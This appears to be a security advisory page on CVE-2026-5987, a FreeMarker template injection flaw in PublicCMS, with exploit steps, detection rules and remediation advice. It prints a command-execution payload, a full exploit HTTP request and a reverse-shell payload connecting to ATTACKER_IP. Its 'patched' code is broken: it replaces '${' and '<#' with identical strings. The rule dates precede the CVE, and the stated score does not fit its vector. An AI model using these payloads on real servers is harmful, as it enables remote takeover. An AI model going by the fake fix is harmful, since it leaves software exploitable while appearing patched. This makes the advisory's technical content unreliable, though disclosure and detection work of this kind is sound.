CVE-2026-5987
Executive Summary
CVE-2026-5987 is a Server-Side Template Injection (SSTI) vulnerability in Sanluan PublicCMS up to version 6.202506.d. The flaw resides in the AbstractFreemarkerView.doRender method within the FreeMarker template handler. An attacker can inject malicious FreeMarker template directives through user-controlled input, leading to remote code execution (RCE) or data exfiltration. The vulnerability is publicly disclosed with a proof-of-concept (PoC) exploit, and no official patch has been released. The CVSS score is 4.7 (Medium), but the actual risk is higher due to the potential for full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Java-based CMS (PublicCMS) distributed via Maven Central and GitHub. The component publiccms-core is a direct dependency. No known malicious packages have been identified, but the lack of a patch increases supply chain risk for any organization using this software.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 4.7 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: High (due to public exploit and no patch)
Deep Dive & Mechanics
The vulnerability is a classic Server-Side Template Injection (SSTI) in FreeMarker. The AbstractFreemarkerView.doRender method processes user-supplied input without proper sanitization before passing it to the FreeMarker template engine. FreeMarker interprets ${} and <#> syntax as template directives. An attacker can inject payloads such as:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
This payload creates a new Execute utility object and runs the id command on the server. The lack of input validation allows arbitrary FreeMarker expressions to be evaluated, leading to RCE.
Root Cause: The doRender method directly concatenates user input into the template string without escaping or using a sandboxed template loader.
Vulnerable vs. Patched Code
Vulnerable Code (AbstractFreemarkerView.java):
public void doRender(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
String templateContent = getTemplateContent(request); // user-controlled
Template template = new Template("name", new StringReader(templateContent), configuration);
template.process(model, response.getWriter());
}
Patched Code (Hypothetical):
public void doRender(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
String templateContent = getTemplateContent(request);
// Sanitize: escape FreeMarker syntax
templateContent = templateContent.replace("${", "${").replace("<#", "<#");
Template template = new Template("name", new StringReader(templateContent), configuration);
template.process(model, response.getWriter());
}
Note: No official patch exists. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- PublicCMS 6.202506.d running on a test server.
- Network access to the vulnerable endpoint (e.g.,
/cms/render).
Exploit Steps:
- Identify the vulnerable parameter (e.g.,
templatein POST body). - Inject FreeMarker payload:
POST /cms/render HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded template=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} - Observe command output in the response.
Advanced Payload (Reverse Shell):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'")}
Blue Team
Detection:
- Monitor for requests containing
${or<#in POST parameters. - Look for unusual FreeMarker template errors in logs.
- Use WAF rules to block FreeMarker syntax in user input.
Hunting:
- Search logs for
freemarker.template.utility.ExecuteorTemplate.processcalls. - Check for outbound connections from the CMS server to unknown IPs.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
template=parameter containing${or<#. - Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
- HTTP requests with
- File System:
- Unexpected files in
/tmpor web root (e.g.,shell.jsp,rce.txt).
- Unexpected files in
- Logs:
- FreeMarker errors:
Template processing error: ... - Java stack traces containing
AbstractFreemarkerView.doRender.
- FreeMarker errors:
Detection Engineering
YARA Rule
rule CVE_2026_5987_SSTI_Payload {
meta:
description = "Detects FreeMarker SSTI payloads in HTTP requests"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-5987"
strings:
$ssti1 = "${" ascii
$ssti2 = "<#" ascii
$ssti3 = "freemarker.template.utility.Execute" ascii
$ssti4 = "?new()" ascii
condition:
any of ($ssti*) and #ssti1 > 0
}
Sigma Rule
title: PublicCMS FreeMarker SSTI Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-5987
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'template='
cs-uri-query|contains|all:
- '${'
- '<#'
condition: selection
falsepositives:
- Legitimate use of FreeMarker templates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-5987 PublicCMS FreeMarker SSTI Attempt"; flow:to_server,established; content:"POST"; http_method; content:"template="; http_client_body; content:"${"; http_client_body; distance:0; content:"<#"; http_client_body; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint (e.g.,
/cms/render) if not required. - Apply WAF rules to block FreeMarker syntax (
${,<#) in user input. - Upgrade to a patched version once available (monitor vendor's GitHub).
Long-term Fix:
- Implement input validation and output encoding for all user-supplied data.
- Use a sandboxed FreeMarker configuration (e.g.,
TemplateLoaderwith restricted access). - Apply the principle of least privilege to the CMS process.
Workaround:
- Modify
AbstractFreemarkerView.javato escape FreeMarker syntax before template processing.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 29610DDCA900EA829A59FD0F] */}